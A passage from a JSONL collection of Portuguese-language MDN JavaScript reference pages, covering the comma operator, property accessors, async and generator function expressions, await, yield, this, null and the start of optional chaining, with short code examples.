sec-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Funções e Escopos de Funções` (en-US)\n* `Função`\n* `function statement`\n* `function* statement`\n* `function* expression`\n* `GeneratorFunction` (en-US)VersãoCompatívelDesconhecidaVersãoCompatívelDesconhecida"}
{"title":"Operador Vírgula - JavaScript","text":"Operador Vírgula\n================\n\nSumário\n-------\n\no **operador vírgula** avalia o valor de seus operandos (da esquerda para a direita) e retorna o valor do último operando.\n\nSintaxe\n-------\n```\n\nexpr1, expr2, expr3...\n```\n\nParameters\n----------\n\n`expr1`, `expr2, expr3...`\n\nQuaisquer expressões.\n\nDescrição\n---------\n\nVocê pode usar o operador vírgula quando desejar incluir múltiplas expressões em um lugar que requer uma única expressão. O uso mais comum desse operador é suprir múltiplos parâmetros em um loop `for`.\n\nExemplo\n-------\n\nSe `a` é um array de 2 dimensões com 10 elementos de um lado, o seguinte código usa o operador vírgula para incrementar duas variáveis mutuamente. Note que a vírgula na declaração `var` ***não*** é o operador vírgula, porque ele não existe dentro de uma expressão. Além disso, ela é uma caractere especial nas declarações `var` para combinar múltiplas delas em uma única. Embora praticamente a vírgula comporte-se quase que igualmente ao operador vírgula. O código imprime os valores dos elementos diagonais da matriz:\n\n\n```js\nfor (var i = 0, j = 9; i <= 9; i++, j--)\n  document.writeln(\"a[\" + i + \"][\" + j + \"] = \" + a[i][j]);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-comma-operator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* for loop"}
{"title":"Assessores de propriedade - JavaScript","text":"Assessores de propriedade\n=========================\n\nOs assessores de propriedade fornecem acesso as propriedades de um objeto usando a notação de ponto ou a notação de colchetes.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nobject.property\nobject[\"property\"]\n```\n\nDescrição\n---------\n\nPode-se pensar em um objeto como uma matriz associativa (a.k.a. *map*, *dictionary*, *hash*, *lookup table*). As chaves nesta matriz são os nomes das propriedades dos objetos. É típico quando se fala de propriedades de um objeto para fazer uma distinção entre propriedades e métodos. No entanto, a distinção entre propriedade/método é um pouco mais do que convenção. Um método é simplesmente uma propriedade que pode ser chamada, por exemplo, se tiver uma referência a uma instância de Function como seu valor.\n\nHá duas maneira de acessar propriedades: notação de ponto ou a notação de colchetes.\n\n### Notação de ponto\n\n\n```js\nget = object.property;\nobject.property = set;\n```\n\n\nNeste código, a propriedade deve ser um identificador válido, i.e. uma sequência de carácteres alfanuméricos, incluíndo também o underline (\"`_`\") e o cifrão (\"`$`\"), não pode começar com um número. Por exemplo, `object.$1` é valido, enquanto `object.1` não é.\n\n\n```js\ndocument.createElement(\"pre\");\n```\n\n\nAqui, o método chamado \"createElement\" é recuperado do documento e é chamado.\n\nSe você usar um método para um literal numérico e o literal numérico não tem expoente e nenhum ponto decimal, deixar de espaço em branco antes do ponto que precede a chamada de método para evitar que o ponto seja interpretado como um ponto decimal.\n\n\n```js\n(77).toExponential();\n// ou\n(77).toExponential();\n// ou\n(77).toExponential();\n// ou\n(77).toExponential();\n// ou\n(77.0).toExponential();\n// porque 77. === 77.0, sem ambiguidade :p\n```\n\n### Notação de colchete\n\n\n```js\nget = object[property_name];\nobject[property_name] = set;\n```\n\n\n`property_name` é uma string. A string não precisa ser um identificador válido; pode ser qualquer valor, e.g. \"1foo\", \"!bar!\", ou até \" \" (um espaço).\n\n\n```js\ndocument[\"createElement\"](\"pre\");\n```\n\n\nIsto faz exatamente a mesma coisa que o exemplo anterior.\n\nUm espaço antes da notação de colchete é permitido.\n\n\n```js\ndocument[\"createElement\"](\"pre\");\n```\n\n### Nomes de propriedades\n\nNomes de propriedades devem ser strings. Isto significa que objetos não-string não podem ser usados como chave em um objeto. Qualquer objeto não-string, incluindo um número, é estereotipado como uma string pelo método toString.\n\n\n```js\nvar object = {};\nobject[\"1\"] = \"value\";\nconsole.log(object[1]);\n```\n\n\nA saída é \"value\", desde 1 é estereotipado como '1'.\n\n\n```js\nvar foo = { unique\\_prop: 1 },\n  bar = { unique\\_prop: 2 },\n  object = {};\nobject[foo] = \"value\";\nconsole.log(object[bar]);\n```\n\n\nA saída também é \"value\", já que ambos foo e bar são convertidos para a mesma string. No motor de Javascript SpiderMonkey, esta string poderia ser \"['object Object']\".\n\n### Ligação de método\n\nUm método não é limitado ao objeto de quem é metodo. Especificamente, `this` não é fixo em um método, i.e., `this` não se referece necessariamente ao objeto contendo o método. Ao invés disso, `this` é \"passado\" pela função call. Veja method binding.\n\n### Nota sobre `eval`\n\nNovatos em JavaScript comentem muitas vezes o erro de usar eval onde a notação de colchete pode ser usada no lugar. Por exemplo, a sintaxe a seguir é muitas vezes vista em muitos scripts.\n\n\n```js\nx = eval(\"document.forms.form\\_name.elements.\" + strFormControl + \".value\");\n```\n\n\n`eval` é lento e deve ser evitado sempre que possível. Também, `strFormControl` would have to hold an identifier, which is not required for names and IDs of form controls. It is better to use bracket notation instead:\n\n\n```js\nx = document.forms[\"form\\_name\"].elements[strFormControl].value;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-property-accessors |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object`\n* `Object/defineProperty`"}
{"title":"Expressão da função async - JavaScript","text":"Expressão da função async\n=========================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA palavra chave async pode ser usado para definir funções async dentro das expressões.Você tambem pode definir funções async usando a declaração de função async.Sintaxe\n-------\n```\n\nasync function [nome]([parametro1[, parametro2[, ..., parametroN]]]) {\n    declarações\n}\n```\n\n\nComo no ES2015, você tambem pode usar arrow functions.\n\n### Parâmetros\n\n`nome`\n\nO nome da função.Pode ser omitida, na qual a função se torna anonima . O nome é somente local para o corpo da função.\n\n`parametroN`\n\nO nome do argumento passado para a função.\n\n`declarações`\n\nAs declarações que compoem o corpo da função .\n\nDescrição\n---------\n\nUma expressão `async function` é muito similar, e tem quase a mesma sintaxe de uma `declaração async function`. A principal diferença entre uma expressão `async function` e uma declaração `async function` é o *nome da função*, que pode ser omitido em expressões `async function` para criar *funções anônimas*. Uma expressão `async function` pode ser utilizada como um IIFE (Immediately Invoked Function Expression, em tradução livre: Expressão de Função Invocada Imediatamente) que roda assim que definido. Veja também o capítulo sobre funções para mais informações.\n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```js\nfunction resolveAfter2Seconds(x) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve(x);\n    }, 2000);\n  });\n}\n\n(async function (x) {\n  // async function expression usada como uma IIFE\n  var a = resolveAfter2Seconds(20);\n  var b = resolveAfter2Seconds(30);\n  return x + (await a) + (await b);\n})(10).then((v) => {\n  console.log(v); // imprime 60 após 2 segundo.\n});\n\nvar add = async function (x) {\n  // async function expression atribuída a uma variável\n  var a = await resolveAfter2Seconds(20);\n  var b = await resolveAfter2Seconds(30);\n  return x + a + b;\n};\n\nadd(10).then((v) => {\n  console.log(v); // imprime 60 após 4 segundos.\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-async-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `async function`\n* `AsyncFunction` object\n* `await`"}
{"title":"Expressão function* - JavaScript","text":"Expressão function\\*\n====================\n\nA palavra-chave **`function*`** pode ser usada para definir uma função generator dentro de uma expressão.\n\nSintaxe\n-------\n```\n\nfunction* [nome]([param1[, param2[, ..., paramN]]]) {\n    declarações\n}\n```\n\n\n`nome`\n\nO nome da função. Pode ser omitido, no caso da função ser anônima. O nome é local apenas para o corpo da função.\n\n`paramN`\n\nO nome de um argumento para ser passado para a função. Uma função pode ter até 255 argumentos.\n\n`declarações`\n\nAs declarações que compõem o corpo da função.\n\nDescrição\n---------\n\nUma expressão `function*` é muito similar e tem quase a mesma sintaxe que a `declaração function*`. A principal diferença entre uma expressão `function*` e a declaração `function*` é o *nome da função*, que pode ser omitido em expressões `function*` para criar funções *anônimas*. Veja também o capítulo sobre funções para mais informações.\n\nExemplos\n--------\n\nO exemplo a seguir define uma função generator e atribui à variável `x`. A função faz um yield do quadrado do seu argumento:\n\n\n```js\nvar x = function\\* (y) {\n  yield y \\* y;\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-generator-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `function* statement`\n* `GeneratorFunction` (en-US) object\n* The Iterator protocol (en-US)\n* `yield`\n* `yield*`\n* `Function` object\n* `function statement`\n* `function expression`\n* `Functions and function scope` (en-US)"}
{"title":"await - JavaScript","text":"await\n=====\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO operador `await` é utilizado para esperar por uma `Promise`. Ele pode ser usado apenas dentro de uma `async function`.\n\nSintaxe\n-------\n```\n\n[rv] = await expressão;\n```\n\n\n`expressão`\n\nUma `Promise` ou qualquer valor para esperar uma resolução.\n\n`rv`\n\nRetorna um valor final da promise, ou o próprio valor se ele não for uma `Promise`.\n\nDescrição\n---------\n\nA expressão `await` faz a execução de uma função `async` pausar, para esperar pelo retorno da `Promise`, e resume a execução da função `async` quando o valor da Promise é resolvido. Ele então retorna o valor final da Promise. Se esse valor não for uma `Promise`, ele é convertido para uma `Promise` resolvida.\n\nSe a `Promise` for rejeitada, a expressão `await` invoca uma Exception com o valor rejeitado.\n\nExemplos\n--------\n\nSe uma `Promise` é passada para uma expressão `await`, ele espera pela sefinalização da `Promise` e retorna seu valor final.\n\n\n```js\nfunction resolveAfter2Seconds(x) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve(x);\n    }, 2000);\n  });\n}\n\nasync function f1() {\n  var x = await resolveAfter2Seconds(10);\n  console.log(x); // 10\n}\nf1();\n```\n\n\nSe o valor não for uma `Promise`, ele converte o valor para uma `Promise` resolvida, e espera por ele.\n\n\n```js\nasync function f2() {\n  var y = await 20;\n  console.log(y); // 20\n}\nf2();\n```\n\n\nSe a `Promise` for rejeitada, o valor rejeitado é invocado em uma Exception.\n\n\n```js\nasync function f3() {\n  try {\n    var z = await Promise.reject(30);\n  } catch (e) {\n    console.log(e); // 30\n  }\n}\nf3();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-async-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `async function`\n* `async function expression`\n* `AsyncFunction` object"}
{"title":"yield - JavaScript","text":"yield\n=====\n\nA palavra-chave `yield` é usada para pausar e resumir uma generator function (`function*` or generator function legada (en-US)).\n\nSintaxe\n-------\n```\n\n[rv] = yield [expressão];\n```\n\n\n`expressão`\n\nDefine o valor que retorna de uma generator function via o protocolo iterator. Se omitido, será retornado `undefined`.\n\n`rv`\n\nRetorna o valor opcional passado para o metódo `next()` do generator e resume sua execução.\n\nDescrição\n---------\n\nA palavra-chave `yield` pausa a execução de uma generator function e o valor da expressão em frente a palavra-chave `yield` é retornado para a chamada do generator. Ele pode ser considerado uma versão da palavra-chave `return` para o generator.\n\nA palavra-chave `yield` atualmente retorna um objeto do tipo `IteratorResult` com duas propriedades, `value` e `done`. A propriedade `value` é o resultado da avaliação da expressão `yield`, e `done` é `false`, indicando que a generator function não foi totalmente completada.\n\nUma vez pausado em uma expressão `yield`, a execução do código do generator permanece pausado até a próxima chamada do métod `next()`. Cada vez que o método `next()` do generator é chamado, o generator resume a execução e roda até atingir um dos seguintes estados:\n\n* Um `yield`, que causa a pausa do generator novamente e retorna seu novo valor. Na próxima vez que `next()` for chamado, a execução resumirá com a declaração imediamente após `yield`.\n* `throw` é usado para invocar uma exception à partir do generator. Isso irá parar completamente a execução do generator, e a execução resume para onde foi chamado o generator normalmente no caso que uma exception é invocada.\n* O final de uma generator function é atingido; nesse caso, a execução do generator termina e um `IteratorResult` é retornado para onde o generator foi chamado no qual o `value` é `undefined` e `done` é `true`.\n* Uma declaração `return` é atingida. Nesse caso, a execução do generator termina e um `IteratorResult` é retornado para onde o generator foi chamado no qual o `value` é o valor especificado pela declaração `return` statement e `done` é `true`.\n\nSe um valor opcional é passado para o método `next()` do generator, esse valor se torna o valor retornado pela operação `yield` atual do generator.\n\nEntre o caminho de código do generator, os seus operadores `yield`, e a habilidade de especificar um novo valor inicial passando isso para o `Generator.prototype.next()` (en-US), generators oferecem um poder e controle enormes\n\nExemplos\n--------\n\nO código seguinte é a declaração de um exemplo de uma generator function.\n\n\n```js\nfunction\\* foo() {\n  var index = 0;\n  while (index <= 2) yield index++;\n}\n```\n\n\nUma vez que a generator function é definida, isso pode ser usada para construir um iterator como mostrado a seguir:\n\n\n```js\nvar iterator = foo();\nconsole.log(iterator.next()); // { value: 0, done: false }\nconsole.log(iterator.next()); // { value: 1, done: false }\nconsole.log(iterator.next()); // { value: 2, done: false }\nconsole.log(iterator.next()); // { value: undefined, done: true }\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-YieldExpression |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas do Firefox\n----------------------------\n\n* A partir do Gecko 29, uma generator function completada não invoca mais um `TypeError` \"generator has already finished\". Ao invés, isso retorna um objeto `IteratorResult` como `{ value: undefined, done: true }` (Erro do Firefox 958951).\n* A partir do Gecko 33, a análise (parsing) de uma expressão `yield` foi atualizada para se conformar com a especificação do ES2015 (Erro do Firefox 981599):\n    + A expressão após a palavra-chave `yield` é opcional e omitir isso não invoca mais um `SyntaxError` (en-US): `function* foo() { yield; }`\nVeja também\n-----------\n\n* O protocolo Iterator (en-US)\n* `function*`\n* `function* expression`\n* `yield*`"}
{"title":"this - JavaScript","text":"this\n====\n\nA palavra-chave **`this`** comporta-se um pouco diferente em Javascript se comparado com outras linguagens. Também possui algumas diferenças entre o modo estrito e o modo não estrito.\n\nEm muitos casos, o valor `this` é determinado pela forma como a função é chamada. Ele não pode ser assinado durante a execução, e isso pode ser diferente a cada vez que a função é chamada. ES5 introduziu o método `bind` para estabelecer o valor `this` da função, independentemente de como ela seja chamada, e ECMAScript 2015 introduziu o arrow functions, cujo `this` é lexicalmente delimitado (o valor `this` é estabelecido segundo o escopo de execução no qual está inserido).\n\nSintaxe\n-------\n```\n\nthis\n```\n\nContexto global\n---------------\n\nNo contexto de execução global (fora de qualquer função), `this` refere-se ao objeto global, seja em modo estrito ou não.\n\n\n```js\nconsole.log(this.document === document); // true\n\n// Em navegadores web, o objeto window é também o objeto global:\nconsole.log(this === window); // true\n\nthis.a = 37;\nconsole.log(window.a); // 37\n```\n\nContexto de função\n------------------\n\nDentro de uma função, o valor de `this` depende de como a função é chamada.\n\n### Chamada simples\n\nComo o código a seguir não está no modo estrito, o valor de `this` não é definido pela chamada. Por padrão, `this` será o objeto global que no navegador é o `window`.\n\n\n```js\nfunction f1() {\n  return this;\n}\n\n// No navegador\nf1() === window; // true\n```\n\n\nEm modo estrito, o valor de `this` permanece seja qual for o definido ao entrar no contexto de execução, assim, no caso a seguir, `this` por padrão será indefinido (`undefined`):\n\n\n```js\nfunction f2() {\n  \"use strict\"; // assume modo estrito\n  return this;\n}\n\nf2() === undefined; // true\n```\n\n\nPortanto, em modo estrito, se `this` não for definido durante o contexto da execução, ele permanecerá indefinido (`undefined`).\n\n**Nota:** No segundo exemplo, `this` deveria ser `undefined`, porque `f2` foi chamada diretamente e não como um método ou popriedade de um objeto (ou seja, `window.f2()`). Esta característica não foi implementada em alguns navegadores quando começaram a dar suporte ao strict mode (en-US) (modo estrito). Como resultado, eles incorretamente retornavam o objeto `window`.\n\n### Funções Arrow (seta)\n\nNas arrow functions (funções seta), o `this` é definido lexicalmente, isto é, seu valor é definido pelo contexto de execução onde está inserido. Em um código global, this assume o objeto global:\n\n\n```js\nvar globalObject = this;\nvar foo = () => this;\nconsole.log(foo() === globalObject); // true\n```\n\n\nNão importa como `foo` é chamado, o `this` continuará como o objeto global. Isto continua verdadeiro mesmo se chamá-lo como método de um determinado objeto (o que normalmente definiria seu this ao objeto), com `call` ou `apply` ou `bind` é usado:\n\n\n```js\n// Chama como um método de um objeto\nvar obj = { foo: foo };\nconsole.log(obj.foo() === globalObject); // true\n\n// Tentativa de definir this usando call\nconsole.log(foo.call(obj) === globalObject); // true\n\n// Tentantiva de definir this usando bind\nfoo = foo.bind(obj);\nconsole.log(foo() === globalObject); // true\n```\n\n\nNão importa como for, o this do foo mantém o valor que recebeu quando foi criado (no exemplo acima, o objeto global). O mesmo se aplica para funções arrow criadas dentro de outras funções: seus this são definidos em seus respectivos contextos de execução.\n\n\n```js\n// Cria obj com um método bar que retorna uma função que\n// retorna seu this. A função retornada é criada como\n// uma função arrow, para que seu this esteja permanentemente\n// ligado ao this da função que a envolve. O valor de bar pode ser // definido na chamada, que por sua vez define o valor da função\n// retornada.\nvar obj = {\n  bar: function () {\n    var x = () => this;\n    return x;\n  },\n};\n\n// Chama bar como método de obj, configurando seu this como obj\n// Assina à variável fn uma referência para a função retornada\nvar fn = obj.bar();\n\n// Chamar fn, sem definir this, por padrão, referenciaria\n// ao objeto global ou undefined em modo estrito (strict mode)\nconsole.log(fn() === obj); // true\n```\n\n\nNo exemplo acima, a função (chamemos função anônima A) atribuída a obj.bar retorna outra função (chamemos função anônima B) que é criada como uma função arrow (seta). Como resultado, o this da função B é permanentemente definido como o this de obj.bar (função A) quando chamado. Quando a função retornada (função B) é chamada, seu this sempre será aquele que foi definido inicialmente. No exemplo de código acima, o this da função B é definido com o this da função A, que é obj, por isso permanece definido para obj, mesmo quando chamado de uma maneira que normalmente definiria seu this como undefined ou como objeto global (ou qualquer outro método, como naquele exemplo anterior de contexto de execução global).\n\n### Como método de um objeto\n\nQuando uma função é chamada como um método de um objeto, seu this toma o valor do objeto pertencente ao método chamado.\n\nNo exemplo a seguir, quando `o.f()` é invocado, o this dentro da função é vinculado ao objeto o.\n\n\n```js\nvar o = {\n  prop: 37,\n  f: function () {\n    return this.prop;\n  },\n};\n\nconsole.log(o.f()); // logs 37\n```\n\n\nObserve que esse comportamento não é afetado mesmo pela forma como (ou onde) a função foi definida. No exemplo anterior, nós definimos a função in-line (em linha) como o membro f durante a definição de o. No entanto, poderíamos ter apenas facilmente definido a função primeiro e depois anexado a o.f. Fazendo isso resulta no mesmo comportamento:\n\n\n```js\nvar o = { prop: 37 };\n\nfunction independent() {\n  return this.prop;\n}\n\no.f = independent;\n\nconsole.log(o.f()); // registra 37\n```\n\n\nIsto demonstra que é importante apenas que a função foi chamada a partir do membro f de o.\n\nDa mesma forma, a vinculação de this só é afetada pela referência do membro mais imediato. No exemplo a seguir, quando invocamos a função, podemos chamá-la como um método g do objeto o.b. Desta vez, durante a execução, o this dentro da função irá se referir a o.b. O fato do objeto ser um membro de o não tem qualquer consequência; a referência mais imediata é tudo que importa.\n\n\n```js\no.b = { g: independent, prop: 42 };\nconsole.log(o.b.g()); // registra 42\n```\n\n\n#### `this` na cadeia de protótipos (prototype chain) do objeto\n\nA mesma noção vale para métodos definidos em algum lugar da cadeia de protótipos do objeto. Se o método está na cadeia de protótipo de um objeto, this refere-se ao objeto que é proprietário do método chamado, como se o método estivesse no objeto.\n\n\n```js\nvar o = {\n  f: function () {\n    return this.a + this.b;\n  },\n};\nvar p = Object.create(o);\np.a = 1;\np.b = 4;\n\nconsole.log(p.f()); // 5\n```\n\n\nNeste exemplo, o objeto atribuído à variável p não tem sua própria propriedade f, ele o herda de seu protótipo. Mas não importa que a procura por f finalmente encontre um membro com esse nome em o; a procura começou como uma referência para a p.f, portanto o this dentro da função recebe o valor do objeto referido como p. Isto é, já que f é chamado como um método de p, seu this refere-se a p. Este é um recurso interessante de herança prototípica do JavaScript.\n\n#### `this` com seletores (getter) ou modificadores (setter)\n\nMais uma vez, a mesma noção se aplica quando uma função é chamada a partir de um getter ou setter. A função usada como getter ou setter tem seu this ligado ao objeto do qual a propriedade está sendo modificada ou selecionada.\n\n\n```js\nfunction modulus() {\n  return Math.sqrt(this.re \\* this.re + this.im \\* this.im);\n}\n\nvar o = {\n  re: 1,\n  im: -1,\n  get phase() {\n    return Math.atan2(this.im, this.re);\n  },\n};\n\nObject.defineProperty(o, \"modulus\", {\n  get: modulus,\n  enumerable: true,\n  configurable: true,\n});\n\nconsole.log(o.phase, o.modulus); // logs -0.78 1.4142\n```\n\n### Como um construtor (constructor)\n\nQuando a função é usada com um construtor (com a palavra chave `new`), seu this é vinculado ao novo objeto sendo contruído.\n\nNota: enquanto o padrão para um construtor é retornar o objeto referenciado por this, ele pode retornar, ao invés, algum outro objeto (se o valor de retorno não é um objeto, então o objeto this é retornado).\n\n\n```js\n/\\*\n \\* Contrutores funcionam da seguinte forma:\n \\*\n \\* function MyConstructor(){\n \\* // O código do corpo da função vai aqui.\n \\* // Criam-se propriedades sobre |this| como\n \\* // desejado, assinando-os. Ex.,\n \\* this.fum = \"nom\";\n \\* // etc...\n \\*\n \\* // Se a função tem uma instrução que\n \\* // retorna um objeto, esse objeto será o\n \\* // resultado da expressão |new|. Caso contrário,\n \\* // o resultado da expressão é o objeto\n \\* // atualmente vinculado a |this|\n \\* // (i.e., o caso mais comumente visto).\n \\* }\n \\*/\n\nfunction C() {\n  this.a = 37;\n}\n\nvar o = new C();\nconsole.log(o.a); // logs 37\n\nfunction C2() {\n  this.a = 37;\n  return { a: 38 };\n}\n\no = new C2();\nconsole.log(o.a); // registra 38\n```\n\n\nNo último exemplo (C2), porque um objeto foi retornado durante a construção, o novo objeto que this foi vinculado simplesmente é descartado. (Isso essencialmente faz da expressão \"this.a = 37;\" código morto. Não é exatamente morto, pois ele é executado, mas ele pode ser eliminado sem efeitos colaterais.)\n\n### `call` e `apply`\n\nQuando uma função usa a palavra-chave this em seu corpo, o seu valor pode ser vinculado a um determinado objeto na chamada utilizando os métodos `call` or `apply` que todas as funções herdam de Function.prototype.\n\n\n```js\nfunction add(c, d) {\n  return this.a + this.b + c + d;\n}\n\nvar o = { a: 1, b: 3 };\n\n// O primeiro parâmetro é o objeto a usar como\n// 'this'; subsequentes parâmetros são passados como\n// argumentos na função chamada\nadd.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16\n\n// O primeiro parâmetro é o objeto a usar como\n// 'this', o segundo é um arranjo (array) cujos\n// membros são usados como argumentos na função chamada\nadd.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34\n```\n\n\nObserve que, com call e apply, se o valor passado como this não for um objeto, será feita uma tentativa de convertê-lo em um objeto usando a operação interna ToObject. Portanto, se o valor passado é um primitivo como 7 ou 'foo', ele será convertido para um objeto usando o construtor relacionado, de modo que o número primitivo 7 é convertido em um objeto, como realizado por new Number(7), e a cadeia de caracteres 'foo' em um objeto, como realizado por new String(' foo '), por exemplo.\n\n\n```js\nfunction bar() {\n  console.log(Object.prototype.toString.call(this));\n}\n\nbar.call(7); // [object Number]\n```\n\n### O método `bind`\n\nECMAScript 5 introduziu `Function.prototype.bind`. Chamando f.bind(algumObjeto) cria-se uma nova função com o mesmo corpo e escopo que f, mas onde o this ocorrer na função original, na nova função ele será permanentemente ligado ao primeiro argumento de bind, independentemente de como a função esteja sendo usada.\n\n\n```js\nfunction f(){\n  return this.a;\n}\n\nvar g = f.bind({a:\"azerty\"});\nconsole.log(g()); // azerty\n\nvar h = g.bind({a: 'yoo'}); // bind só funciona uma vez!\nconsole.log.(h()); // azerty\n\nvar o = {a:37, f:f, g:g, h: h};\nconsole.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty\n```\n\n### Como um manipulador de eventos DOM\n\nQuando uma função é usada como um manipulador de eventos, seu this está definido para o elemento do evento a partir do qual foi disparado (alguns navegadores não seguem essa convenção para os listeners adicionados dinamicamente com métodos que não sejam addEventListener).\n\n\n```js\n// Quando chamado como listener, transforma o elemento blue\n// relacionado\nfunction bluify(e) {\n  // sempre true\n  console.log(this === e.currentTarget);\n  // true quando currentTarget e target são o mesmo objeto\n  console.log(this === e.target);\n  this.style.backgroundColor = \"#A5D9F3\";\n}\n\n// Obtém uma lista de todo elemento no documento\nvar elements = document.getElementsByTagName(\"\\*\");\n\n// Adiciona bluify com um click listener (escutador de click)\n// para que quando o elemento seja clicado se torne azul\nfor (var i = 0; i < elements.length; i++) {\n  elements[i].addEventListener(\"click\", bluify, false);\n}\n```\n\n### Em um manipulador de evento in-line (em linha)\n\nQuando o código é chamado de um manipulador de evento in-line, seu this está definido para o elemento DOM em que o listener é colocado:\n\n\n```js\n<button onclick=\"alert(this.tagName.toLowerCase());\">Show this</button>\n```\n\n\nO alerta acima mostra button. Note, porém, que apenas o código exterior tem um this definido desta maneira:\n\n\n```js\n<button onclick=\"alert((function(){return this}()));\">Show inner this</button>\n```\n\n\nNeste caso, o this da função interior não está definido, portanto ele retorna o objeto global/objeto window (ou seja, o objeto padrão no modo não-estrito onde this não está definido pela chamada).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-this-keyword |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Strict mode (en-US)\n* All this, um artigo sobre this em diferentes contextos"}
{"title":"null - JavaScript","text":"null\n====\n\nResumo\n------\n\nO valor `null` é um literal em JavaScript que representa um valor nulo ou \"vazio\" (p/ex: que aponta para um objeto inexistente). É um dos valores primitivos do JavaScript.\n\nSintaxe\n-------\n```\n\nnull\n```\n\nDescrição\n---------\n\nO valor `null` é um literal, e não uma propriedade do objeto global (como o `undefined` pode ser). O desenhos das APIs, o null as vezes é devolvido no lugar de um objeto que era esperado. Quando fizer a checagem de um valor para `null` ou `undefined`, esteja ciente das diferenças entre o operador de igualdade (==) e o de igualdade estrita (===) (en-US) (em inglês). Uma conversão de tipos é realizada na operação de igualdade.\n\n\n```js\n// foo não existe, não foi definido e jamais foi inicializado:\n> foo\n\"ReferenceError: foo is not defined\"\n\n// foo é conhecido e existe, mas não aponta para nenhum tipo ou valor:\n> var foo = null; foo\n\"null\"\n```\n\n### Diferenças entre `null` e `undefined`\n\n\n```js\ntypeof null; // object (bug no ECMAScript, deveria ser null - http://2ality.com/2013/10/typeof-null.html)\ntypeof undefined; // undefined\nnull === undefined; // falso\nnull == undefined; // verdadeiro\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-null-value |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `undefined`\n* `NaN`"}
{"title":"Encadeamento opcional - JavaScript","text":"Encadeamento opcional\n=====================\n\nO operador de **encadeamento opcional** **`?.`** permite a leitura do valor de uma propriedade localizada internamente em uma cadeia de objetos conectados, sem que a validação de cada referência da cadeia seja expressivamente realizada.\n\nO operador **`?.`** funciona de maneira similar ao operador `.` de encadeamento, exceto que, ao invés de causar um erro se a referência é nullish (en-US) (`null` ou `undefined`), a expressão sofre um \"curto-circuito\" e retorna com um valor de `undefined`. Quando utilizado com uma chamada de função, retorna `undefined` se a função executada não existir.\n\nIsso resulta em expressões mais curtas e simples ao acessar propriedades encadeadas quando a possibilidade de uma referência ser inexistente. Isso também pode auxiliar ao explorar o conteúdo de um objeto quando não existe garantia da existência de determinadas propriedades obrigatórias.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nobj.val?.prop\nobj.val?.[expr]\nobj.arr?.[index]\nobj.func?.(args)\n```\n\nDescrição\n---------\n\nO operador de encadeamento opcional provê uma forma de simplificar o acesso a valores através de objetos conectados, quando é possível que uma referência ou função possa ser `undefined` ou `null`.\n\nPor exemplo, considere um objeto `obj` que possui uma estrutura aninhada. Sem o encadeamento opcional, verificar proriedades profundamente aninhadas requer uma validação de referências intermediárias, algo como:\n\n\n```js\nlet nestedProp = obj.first && obj.first.second;\n```\n\n\nO valor de `obj.first` é confirmadamente não-`null` (e não-`undefined`) antes de acessar o valor de `obj.first.second`. Isso previne o erro que ocorreria se você simplesmente acessasse `obj.first.second` diretamente sem testar `obj.first`.\n\nCom o operador de encadeamento opcional (`?.`), entretanto, você não precisa explicitamente testar e aplicar curto-circuito baseado no estado de `obj.first` antes de tentar acessar `obj.first.second`:\n\n\n```js\nlet nestedProp = obj.first?.second;\n```\n\n\nAo utilizar o operador `?.` ao invés de apenas `.`, o JavaScript sabe que deve implicitamente checar e ter certeza que `obj.first` não é `null` ou `undefined` antes de tentar acessar `obj.first.second`. Se `obj.first` é `null` ou `undefined`, a expressão automaticamente sofrerá curto-circuito, retornando `undefined`.\n\nIsso é equivalente ao seguinte, exceto que a variável temporária, de fato, não é criada:\n\n\n```js\nlet temp = obj.first;\nlet nestedProp = temp === null || temp === undefined ? undefined : temp.second;\n```\n\n### Encadeamento opcional com chamadas de funções\n\nVocê pode usar o encadeamento opcional ao tentar chamar um método que pode não 